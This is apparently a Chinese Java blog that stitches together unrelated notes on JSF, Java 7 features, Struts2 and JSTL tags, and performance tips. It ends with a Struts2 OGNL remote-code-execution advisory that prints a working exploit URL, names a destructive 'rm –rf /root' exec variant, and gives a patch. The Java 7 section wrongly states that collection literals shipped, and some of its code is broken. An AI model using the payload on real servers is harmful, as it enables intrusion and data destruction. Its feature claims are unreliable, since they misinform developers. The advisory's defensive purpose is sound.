摘要: JSF学习笔记   JSF事件驱动型的MVC框架,与流行的struts比较学习，易于理解。jsf component event事件是指从浏览器由用户操作触发的事件，Struts application event 是用Action来接受浏览器表单提交的事件，一个表单只能对应一个事件，application event和component event相比是一种粗粒度的事件。优点：事件...  阅读全文
from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx

Java 7已经完成的7大新功能：
      1 对集合类的语言支持；
      2 自动资源管理；
      3 改进的通用实例创建类型推断；
      4 数字字面量下划线支持；
      5 switch中使用string；
      6 二进制字面量；
      7 简化可变参数方法调用。

      下面我们来仔细看一下这7大新功能：
      1 对集合类的语言支持
      Java将包含对创建集合类的第一类语言支持。这意味着集合类的创建可以像Ruby和Perl那样了。
      原本需要这样：
         List<String> list = new ArrayList<String>();
         list.add("item");
         String item = list.get(0);
  
         Set<String> set = new HashSet<String>();
         set.add("item");
         Map<String, Integer> map = new HashMap<String, Integer>();
         map.put("key", 1);
         int value = map.get("key");

      现在你可以这样：
         List<String> list = ["item"];
         String item = list[0];
        
         Set<String> set = {"item"};
        
         Map<String, Integer> map = {"key" : 1};
         int value = map["key"];

      这些集合是不可变的。

  
      2 自动资源管理
      Java中某些资源是需要手动关闭的，如InputStream，Writes，Sockets，Sql classes等。这个新的语言特性允许try语句本身申请更多的资源，
   这些资源作用于try代码块，并自动关闭。
      这个：
         BufferedReader br = new BufferedReader(new FileReader(path));
         try {
         return br.readLine();
               } finally {
                   br.close();
         }

      变成了这个：
          try (BufferedReader br = new BufferedReader(new FileReader(path)) {
             return br.readLine();
          }
   
      你可以定义关闭多个资源：
         try (
             InputStream in = new FileInputStream(src);
             OutputStream out = new FileOutputStream(dest))
         {
         // code
         }
      为了支持这个行为，所有可关闭的类将被修改为可以实现一个Closable（可关闭的）接口。
  

      3 增强的对通用实例创建（diamond）的类型推断
      类型推断是一个特殊的烦恼，下面的代码：
         Map<String, List<String>> anagrams = new HashMap<String, List<String>>();

      通过类型推断后变成：
         Map<String, List<String>> anagrams = new HashMap<>();
      这个<>被叫做diamond（钻石）运算符，这个运算符从引用的声明中推断类型。

  
      4 数字字面量下划线支持
      很长的数字可读性不好，在Java 7中可以使用下划线分隔长int以及long了，如：
         int one_million = 1_000_000;
   运算时先去除下划线，如：1_1 * 10 = 110，120 – 1_0 = 110
  

      5 switch中使用string
      以前你在switch中只能使用number或enum。现在你可以使用string了：
         String s = ...
         switch(s) {
         case "quux":
              processQuux(s);
     // fall-through
         case "foo":
   case "bar":
              processFooOrBar(s);
     break;
         case "baz":
        processBaz(s);
              // fall-through
   default:
              processDefault(s);
            break;
  }

  
      6 二进制字面量
      由于继承C语言，Java代码在传统上迫使程序员只能使用十进制，八进制或十六进制来表示数(numbers)。
      由于很少的域是以bit导向的，这种限制可能导致错误。你现在可以使用0b前缀创建二进制字面量：
         int binary = 0b1001_1001;
   现在，你可以使用二进制字面量这种表示方式，并且使用非常简短的代码，可将二进制字符转换为数据类型，如在byte或short。
   byte aByte = (byte)0b001;   
   short aShort = (short)0b010;   

  
      7 简化的可变参数调用
      当程序员试图使用一个不可具体化的可变参数并调用一个*varargs* （可变）方法时，编辑器会生成一个“非安全操作”的警告。
   JDK 7将警告从call转移到了方法声明(methord declaration)的过程中。这样API设计者就可以使用vararg，因为警告的数量大大减少了。

 
A：
<s:a href=""></s:a>-----超链接，类似于html里的<a></a>
<s:action name=""></s:action>-----执行一个view里面的一个action
<s:actionerror/>-----如果action的errors有值那么显示出来
<s:actionmessage/>-----如果action的message有值那么显示出来
<s:append var="newMerList">-----添加一个值到list，类似于list.add();
 <s:param value="merList1"></s:param>   
 <s:param value="merList2"></s:param>   
</s:append>

<s:autocompleter></s:autocompleter>-----自动完成<s:combobox>标签的内容，这个是ajax

B：
<s:bean name=""></s:bean>-----类似于struts1.x中的，JavaBean的值

C：
<s:checkbox></s:checkbox>-----复选框
<s:checkboxlist list=""></s:checkboxlist>-----多选框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----图像符号

D：
<s:date name="time" format="yyyy/MM/dd"/>-----获取日期格式
<s:datetimepicker></s:datetimepicker>-----日期输入框
<s:debug></s:debug>-----显示错误信息
<s:div></s:div>-----表示一个块，类似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----双下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
 chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}

E：
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----这3个标签一起使用，表示条件判断

F：
<s:fielderror></s:fielderror>-----显示文件错误信息
<s:file></s:file>-----文件上传
<s:form action=""></s:form>-----获取相应form的值

G：
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
 <s:iterator>   
  <s:property/>   
    </s:iterator>
</s:generator>----和<s:iterator>标签一起使用

H：
<s:head/>-----在<head></head>里使用，表示头文件结束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隐藏值

I：
<s:i18n name=""></s:i18n>-----加载资源包到值堆栈
<s:include value=""></s:include>-----包含一个输出，servlet或jsp页面
<s:inputtransferselect list=""></s:inputtransferselect>-----获取form的一个输入
<s:iterator value="userlist" var="user" status="s">
 <s:if test="#s.index == 0">
  <s:property value="name"/>
 </s:if>
 <s:property value="#s.even"/>
    <s:property value="#s.odd"/>  
 <s:property value="#s.first"/> 
 <s:property value="#s.last"/> 
 <s:property value="#s.count"/> 
</s:iterator>-----用于遍历集合
<s:if test="#list.size > 0 "></s:if>-----判断 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">

L：
<s:label></s:label>-----只读的标签

M：
<s:merge></s:merge>-----合并遍历集合出来的值

O：
<s:optgroup></s:optgroup>-----获取标签组
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右选择框

P：
<s:param name="pageSize" value="pageSize"/></s:param>-----为其他标签提供参数
<s:password></s:password>-----密码输入框
<s:property value="user.name" />-----得到'value'的属性
<s:push value=""></s:push>-----value的值push到栈中,从而使property标签的能够获取value的属性

R：

<s:radio name="type" list="#{0:'拍卖会',1:'展会'}" value="0"></s:radio>-----单选按钮
<s:reset></s:reset>-----重置按钮

S：
<s:select list=""></s:select>-----单选框
<s:set name=""></s:set>-----赋予变量一个特定范围内的值
<s:sort comparator=""></s:sort>-----通过属性给list分类
<s:submit></s:submit>-----提交按钮
<s:subset source="#subList" start="1" count="2">-----为遍历集合输出子集 
 <s:iterator>   
  <s:property/> 
 </s:iterator>   
</s:subset>

T：
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域输入框
<s:textfield></s:textfield>-----文本输入框
<s:token></s:token>-----拦截器
<s:tree></s:tree>-----树
<s:treenode label=""></s:treenode>-----树的结构

U：
<s:updownselect list=""></s:updownselect>-----多选择框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----创建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">            
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>      
<s:param name="sex" value="user.sex"/>                                    
</s:url>

 

 

JSTL语法及参数   
JSTL包含以下的标签:   
常用的标签：如<c:out>、<c:remove>、<c:catch>、<c:set>等   
条件标签：如<c:if><c:when>、<c:choose>、<c:otherwise>等   
URL标签：如<c:import>、<c:redirect>和<c:url>等   
XML标签：如<xml:out>等   
国际化输出标签：如<fmt:timeZone>等   
SQL标签：如<sql:query>、<sql:update>、<sql:transaction>等   
 
一般用途的标签:   
1．<c:out>   
没有Body时的语法   
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>   
有Body时的语法   
<c:out value=”value” [escapeXml=”{true|false}”]>   
这里是Body部分   
</c:out>   
 
名字 类型 描述   
value Object 将要输出的表达式   
escapeXml boolean 确定以下字符:<,>,&,’,”在字符串中是否被除数，默认为true   
default Object 如果vaule计算后的结果是null，那么输出这个默认值   

2．<c:set>   
这个标签用于在某个范围(page、request、session、application等)中使用某个名字设定特定的值，或者设定某个已经存在的javabean对象的属性。他类似于<%request.setAttrbute(“name”,”value”);%>   
语法1：使用value属性设定一个特定范围中的属性。   
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>   
语法2：使用value属性设定一个特定范围中的属性，并带有一个Body。   
<c:set var=”varName” [scope=”{page|request|session|application}”]>   
Body部分   
</c:set>   
语法3：设置某个特定对象的一个属性。   
<c:set value=”value” target=”target” property=”propertyName”/>   
语法4：设置某个特定对象的一个属性，并带有一个Body。   
<c:set target=”target” property=”propertyName”>   
Body部分   
</c:set>   
 
名字 类型 描述   
value Object 将要计算的表到式。   
var String 用于表示value 值的属性，如果要在其他标签中使用，就是通过这 个var指定的值来进行的。它相当于在标签定义了一个变量，并且这个变量只能在标签中的一个。   
scope String var的有效范围，可以是page|request|session|application中的一个   
target String 将要设置属性的对象，它必须是javabean或则java.util.Map对象   
property Object 待设定的Target对象中的属性名字，比如在javabean中有个name属性，提供了setUserId方法，那么这里填userId。    
 
3．<c:remove>   
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>    
 
4．<c:catch>   
这个标签相当于捕获在它里边的标签抛出的异常对象   
<c:catch [var=”varName”]> //var是异常的名字   
内容   
</c:catch>    
 
条件标签   
1． <c:if>   
语法1：无Body情况   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>   
语法2：有Body的情况   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>   
Body内容   
</c:if>   
 
名字 类型 描述   
test Boolean 表达式的条件，相当于if()中的条件判断语句。   
var String 表示这个语句的名字。   
scope String var这个变量的作用范围。    
 
2．<c:choose>   
语法：<c:choose>   
Body内容(<c:when>和<c:otherwise>子标签)   
</c:choose>   
注意：它的Body只能由以下元素组成:   
1) 空格   
2) 0或多个<c:when>子标签，<c:when>必须在<c:otherwise>标签之前出现.   
3) 0个或多个<c:otherwise>子标签。   
<c:choose>
   <c:when test="${param.age>70}">
   欢迎老年人
   </c:when>
   <c:when test="${param.age<70 and param.age>35}">
   欢迎中年人
   </c:when>
   <c:otherwise>
   您的年龄有误!
   </c:otherwise>
</c:choose>
 
3．<c:when>   
代表的是<c:choose>的一个条件分支,只能在<c:choose>中使用   
语法：<c:when test=”testCondition”> //test是boolean类型,用于判断条件真假   
Body语句   
</c:when>    
 
4．<c:otherwise>   
代表的是<c:choose>中的最后选择。必须在最后出现   
<c:otherwise>   
内容   
</c:otherwise>    
 
迭代标签   
1．<c:forEach>   
语法1：在Collection中迭代   
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body内容   
</c:foeEach>   
 
语法2：迭代固定的次数.   
<c:forEach [var=”varName”] [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body内容   
</c:foeEach>   
 
名字 类型 描述   
var String 迭代的参数，它是标签参数，在其他标签中通过它来引用这个标签中的内容。   
Items Collection、ArrayList、 要迭代的items集合.   
Iterator、Map、String、   
Eunmeration等   
VarStatus String 表示迭代的状态，可以访问迭代自身的信息   
Begin int 表示开始迭代的位置。   
End int 表示结束迭代的位置。   
Step int 表示迭代移动的步长，默认为1。    
 
URL相关的标签   
1．<c:import>   
语法1：资源的内容使用String对象向外暴露   
<c:import url=”url” [context=”context”]   
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>   
内容   
</c:import>   
 
语法2：资源的内容使用Reader对象向外暴露。   
<c:import url=”url” [context=”context”]   
varReader=”varReaderName” [charEncoding=”charEncoding”]>   
内容   
</c:import>   
名字 类型 描述   
url String 待导入资源的URL，可以是相对路径和绝对路径，并且可以导入其他主机资源   
context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字。   
var String 参数的名字。   
scope String var参数的作用范围。   
cahrEncoding String 输入资源的字符编码。   
varReader String 这个参数的类型是Reader,用于读取资源。    
 
2．<c:redirct>   
语法1:没有Body的情况.   
<c:redirect url=”value” [context=”context”]/>   
语法2：有Body情况下，在Body中指定查询的参数   
<c:redirect url=”value” [context=”context”]>   
<c:param name=”name” value=”value”/>   
</c:redirect>    
 
3．<c:url>   
语法1：没有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>   
语法2：有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>   
<c:param name=”name” value=”value”/>   
</c:url>   
 
名字 类型 描述   
value String URL值   
context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字   
var String 标识这个URL标量。   
Scope String 变量作用范围。    
 
SQL相关的标签   
1．<sql:setDataSource>   
2．<sql:query>   
3．<sql:update>   
4．<transaction>   
5．<param>

 

1 对Collection、Map接口的类对象初始化时要先分配合理的空间大小，同时还要按照自已的实际需求选择合适的对象。

例如：声明Vector vect＝new Vector()时，系统调用：

public Vector() {

// 缺省构造函数

this(10);

// 容量是

10;}　

缺省分配10个对象大小容量。

2 优化循环体

循环是比较重复运行的地方，如果循环次数很大，循环体内不好的代码对效率的影响就会被放大而变的突出。

3 少用new初始化一个实例

尽量少用new来初始化一个类的实例，当一个对象是用new进行初始化时，其构造函数链的所有构造函数都被调用到，所以new操作符是很消耗系统资源的，new一个对象耗时往往是局部变量赋值耗时的上千倍。同时，当生成对象后，系统还要花时间进行垃圾回收和处理。当new创建对象不可避免时，注意避免多次的使用new初始化一个对象。尽量在使用时再创建该对象，另外，应该尽量重复使用一个对象，而不是声明新的同类对象。一个重用对象的方法是改变对象的值，如可以通过setValue之类的方法改变对象的变量达到重用的目的。

4 选择合适的方法调用：

在Java中，一切都是对象，如果有方法（Method）调用，处理器先要检查该方法是属于哪个对象，该对象是否有效，对象属于什么类型，然后选择合适的方法并调用。可以减少方法的调用，不影响可读性等情况下，可以把几个小的方法合成一个大的方法。另外，在方法前加上final，private关键字有利于编译器的优化。

5异常处理技巧

异常是Java的一种错误处理机制，对程序来说是非常有用的，但是异常对性能不利。抛出异常首先要创建一个新的对象，并进行相关的处理，造成系统的开销，所以异常应该用在错误处理的情况，不应该用来控制程序流程，流程尽量用while，if等处理。在不是很影响代码健壮性的前提下，可以把几个try/catch块合成一个。

6 尽量使用局部变量

尽量使用局部变量，调用方法时传递的参数以及在调用中创建的临时变量都保存在栈（Stack） 中，速度较快。其他变量，如静态变量、实例变量等，都在堆（Heap）中创建，速度较慢。　　

7同步处理技巧

同步主要出现在多线程的情况，为多线程同时运行时提供对象数据安全的机制，多线程是比较复杂话题，应用多线程也是为了获得性能的提升，应该尽可能减少同步。

另外，如果需要同步的地方，可以减少同步的代码段，如只同步某个方法或函数，而不是整个代码。

8 尽可能的使用Java自身提供的API

Java的API一般都做了性能的考虑，如果完成相同的功能，优先使用API而不是自己写的代码，如数组复制。

9 尽量减少I/O操作

输入/输出（I/O）包括很多方面，我们知道，进行I/O操作是很消耗系统资源的。程序中应该尽量少用I/O操作。使用时可以注意： . 合理控制输出函数System.out.println()对于大多时候是有用的，特别是系统调试的时候，但也会产生大量的信息出现在控制台和日志上，同时输出时，有序列化和同步的过程，造成了开销。

特别是在发行版中，要合理的控制输出，可以在项目开发时，设计好一个Debug的工具类，在该类中可以实现输出开关，输出的级别，根据不同的情况进行不同的输出的控制。

10 尽量使用缓存

读写内存要比读写硬盘上的文件要快很多，应尽可能使用缓冲，以便直接从内存中读取数据。尽可能使用带有Buffer的类代替没有Buffer的类，如可以用BufferedReader 代替Reader，用BufferedWriter代替Writer来进行处理I/O操作。

同样可以用BufferedInputStream代替InputStream都可以获得性能的提高

11 尽量不使用同步：

Servlet是多线程的，以处理不同的请求，基于前面同步的分析，如果有太多的同步就失去了多线程的优势了。

12 不用保存太多的信息在HttpSession中

很多时候，存储一些对象在HttpSession中是有必要的，可以加快系统的开发，如网上商店系统会把购物车信息保存在该用户的Session中，但当存储大量的信息或是大的对象在会话中时，是有害的，特别是当系统中用户的访问量很大，对内存的需求就会很高。具体开发时，在这两者之间应作好权衡。

13清除SESSION：

通常情况，当达到设定的超时时间时，同时有些Session没有了活动，服务器会释放这些没有活动的Session，.. 不过这种情况下，特别是多用户并访时，系统内存要维护多个的无效Session。当用户退出时，应该手动释放，回收资源，实现如下：..
HttpSession theSession = request.getSession();
// 获取当前Session
if(theSession != null){
　theSession.invalidate(); // 使该Session失效
}

14 缓存Home接口

EJB库使用Enterprise Bean 的客户端通过它的Home接口创建它的实例。客户端能通过JNDI访问它。服务器通过Lookup方法来获取。
JNDI是个远程对象，通过RMI方式调用，对它的访问往往是比较费时的。所以，在设计时可以设计一个类专门用来缓存Home接口，在系统初始化时就获得需要的Home接口并缓存，以后的引用只要引用缓存即可。

15 使用快速度的Jdbc驱动

JDBC API包括两种实现接口形式，一种是纯Java实现的驱动，一种利用ODBC驱动和数据库客户端实现，具体有四种驱动模式：

第一类：JDBC-ODBC桥，再加上ODBC驱动程序。
JDBC驱动程序是JDBC-ODBC桥再加上一个ODBC驱动程序。建议第一类驱动程序只用于原型开发，而不要用于正式的运行环境。桥接驱动程序由Sun提供，它的目标是支持传统的数据库系统。Sun为该软件提供关键问题的补丁，但不为该软件的最终用户提供支持。一般地，桥接驱动程序用于已经在ODBC技术上投资的情形，例如已经投资了Windows应用服务器。
尽管Sun提供了JDBC-ODBC桥接驱动程序，但由于ODBC会在客户端装载二进制代码和数据库客户端代码，这种技术不适用于高事务性的环境。另外，第一类JDBC驱动程序不支持完整的Java命令集，而是局限于ODBC驱动程序的功能，这种驱动方式也叫胖客户，主要用于低并发请求，大数据量传输的应用。

第二类：本机API，部分是Java的驱动程序。
JDBC驱动程序是本机API的部分Java代码的驱动程序，用于把JDBC调用转换成主流数据库API的本机调用。这类驱动程序也存在与第一类驱动程序一样的性能问题，即客户端载入二进制代码的问题，而且它们被绑定了特定的平台。
第二类驱动程序要求编写面向特定平台的代码，主流的数据库厂商，例如Oracle和IBM，都为它们的企业数据库平台提供了第二类驱动程序，使用这些驱动程序的开发者必须及时跟进不同数据库厂商针对不同操作系统发行的各个驱动程序版本。
另外，由于第二类驱动程序没有使用纯Java的API，把Java应用连接到数据源时，往往必须执行一些额外的配置工作。很多时候，第二类驱动程序不能在体系结构上与大型主机的数据源兼容；即使做到了兼容，效果也是比较差。

第三类：面向数据库中间件的纯Java驱动程序。
JDBC驱动程序是面向数据库中间件的纯Java驱动程序，JDBC调用被转换成一种中间件厂商的协议，中间件再把这些调用转换到数据库API。第三类JDBC驱动程序的优点是它以服务器为基础，也就是不再需要客户端的本机代码，这使第三类驱动程序要比第一、二两类快。另外，开发者还可以利用单一的驱动程序连接到多种数据库。

第四类：直接面向数据库的纯Java驱动程序。
JDBC驱动程序是直接面向数据库的纯Java驱动程序，即所谓的“瘦”（thin）驱动程序，它把JDBC调用转换成某种直接可被DBMS使用的网络协议，这样，客户机和应用服务器可以直接调用DBMS服务器。对于第四类驱动程序，不同DBMS的驱动程序不同。因此，在一个异构计算环境中，驱动程序的数量可能会比较多。但是，由于第四类驱动程序具有较高的性能，能够直接访问DBMS，所以这一问题就不那么突出了， 这种驱动方式，主要用于高并发，低数据量请求的应用中。

16 使用Jdbc链接池

为了提高访问数据库的性能，我们还可以使用JDBC 2.0的一些规范和特性，JDBC是占用资源的，在使用数据库连接时可以使用连接池Connection Pooling，避免频繁打开、关闭Connection。而我们知道，获取Connection是比较消耗系统资源的。
Connection缓冲池：当一个应用程序关闭一个数据库连接时，这个连接并不真正释放而是被循环利用，建立连接是消耗较大的操作，循环利用连接可以显著的提高性能，因为可以减少新连接的建立。

一个通过DataSource获取缓冲池获得连接，并连接到一个CustomerDB数据源的代码演示如下：
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");
Connection conn = dataSource.getConnection("password","username");

17 缓存DataSorce

一个DataSource对象代表一个实际的数据源。这个数据源可以是从关系数据库到表格形式的文件，完全依赖于它是怎样实现的，一个数据源对象注册到JNDI名字服务后，应用程序就可以从JNDI服务器上取得该对象，并使用之和数据源建立连接。
　　通过上面的例子，我们知道DataSource是从连接池获得连接的一种方式，通过JNDI方式获得，是占用资源的。
　　为了避免再次的JNDI调用，可以系统中缓存要使用的DataSource。

18 即时关闭使用过的资源

互联网应用系统一般是并发的系统，在每次申请和使用完资源后，应该释放供别人使用，使用完成后应该保证彻底的释放。

19 架构选型

CoreMediaCMS将整个应用分成四成架构，每一层都可以独立于其他层而正常运行，每一层都可以分布式布署，极大的提高了应用系统的稳定性、可扩展性、支持高并发的要求，每一次之前通过中间件Corba进行稳定的传输数据。

20 开发框架的选型

充分利用开源框架，可以大大提高开发效率。很多初级开发者，都采用DB+JavaBean+JSP这种初级的开发模式，而现在主要使用Struts、Spring等MVC开发框架。

常用开发框架构选型有：

Struts、Spring、Webwork等。

天极传媒选择的开发框架是：Struts+Spring+iBatis，在这个开发框架里，充分利用了Struts、Spring各自己的优点，可以选择Stuts　MVC，也可以选择Spring MVC。

21 分级存储

１）数据库数据分级存储：

将经常访问的数据和访问频度低的数据，分别存放到不同的分区，甚至存放到不同的数据库服务器，以便合进分配硬盘I/O及系统I/O。

２）网站内容发布之后，分级存储：

任何一个大型的网站，一般都有海量的内容，为了提高访问效率，应搭建分级存储体系，根据应用的重要性和访问并发要求，将这些内容分级存储，同时将静态内容中的静态页面文件、图片文件、下载文件分不同的Web服务器访问，降低I/O争用，提高访问效率，同时让数据存储、管理、备份更加清晰。

22 页面静态化

一个大型网站，既有静态内容，也有动态内容。静态内容，直接通过Apache或者Squid访问，效率高，稳定可靠，更多的是受服务器等硬件设备的I/O吞吐量、网络环境及页面代码本身质量限制，不受应用系统及数据库性能限制，这些内容往往访问速度和效率不会有较大的问题。

而动态内容，除了受硬件设备I/O、操作系统I/O及内容、网络环境及页面代码的影响，还要受应用服务器和数据库性能影响，因此，这部份内容，要尽可能作静态化或者伪静态，并采用缓存技术，将其缓存，以减少对应用服务器和数据库服务器的操作次数，提高用户访问效率和稳定性。

23 缓存策略

对于构建的业务系统，如果有些数据要经常要从数据库中读取，同时，这些数据又不经常变化，这些数据就可以在系统中缓存起来，使用时直接读取缓存，而不用频繁的访问数据库读取数据。
缓存工作可以在系统初始化时一次性读取数据，特别是一些只读的数据，当数据更新时更新数据库内容，同时更新缓存的数据值。

例如：在CMS2005系统中，我们将很少发生变化的网站节点树数据，缓存在客户端，当用户登录时，一次性读入到客户端缓存起来，以后编辑在使用时，不用再从数据库中读取，大大提高了应用系统的访问速度。

当然，也可以将数据库中重复访问的数据缓存在应用服务器内存中，减少对数据库的访问次数，Java常用的缓存技术产品有：MemoryCache、OSCache等。

<html>   
    <head>
   <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />        
        <script type=text/javascript src=http://fw.qq.com/ipaddress></script>
   <script type=text/javascript>
    document.write("当前ip:"+IPData[0]+",省份："+IPData[2]+",城市:"+IPData[3]);
   </script>
    </head>   
    <body>
    </body>
</html> 最近发现　struts 2的这个严重安全漏洞，在http://www.javaeye.com/topic/720209中已经有所表述，主要是ＯＧＮＬ的问题，摘录如下：
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍：
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数：
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys 

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为：
Java代码
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys") 

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值：
此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样：
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1); 

java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root") 

java.lang.Runtime.getRuntime().exec("rm –rf /root")，只要有权限就可以删除任何一个目录。


目前的解决方法如下，官方的出了补丁的，可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前２．１．８的最新版本的，可以下载其中这个补丁修补，
而如果你的版本是低于２．１．８的，可以去下载xwork-2.XX.JAR对应的源代码（本来想反编译ＪＡＲ的，发现还是找源代码好），
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下：
protected boolean acceptableName(String name) {
       boolean foundMatch=false;  
        foundMatch = name.contains("\\u0023");  
        if(foundMatch){  
            return false;  
        }
        if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
                || name.indexOf(':') != -1 || isExcluded(name)) {
            return false;
        } else {
            return true;
        }
       
    }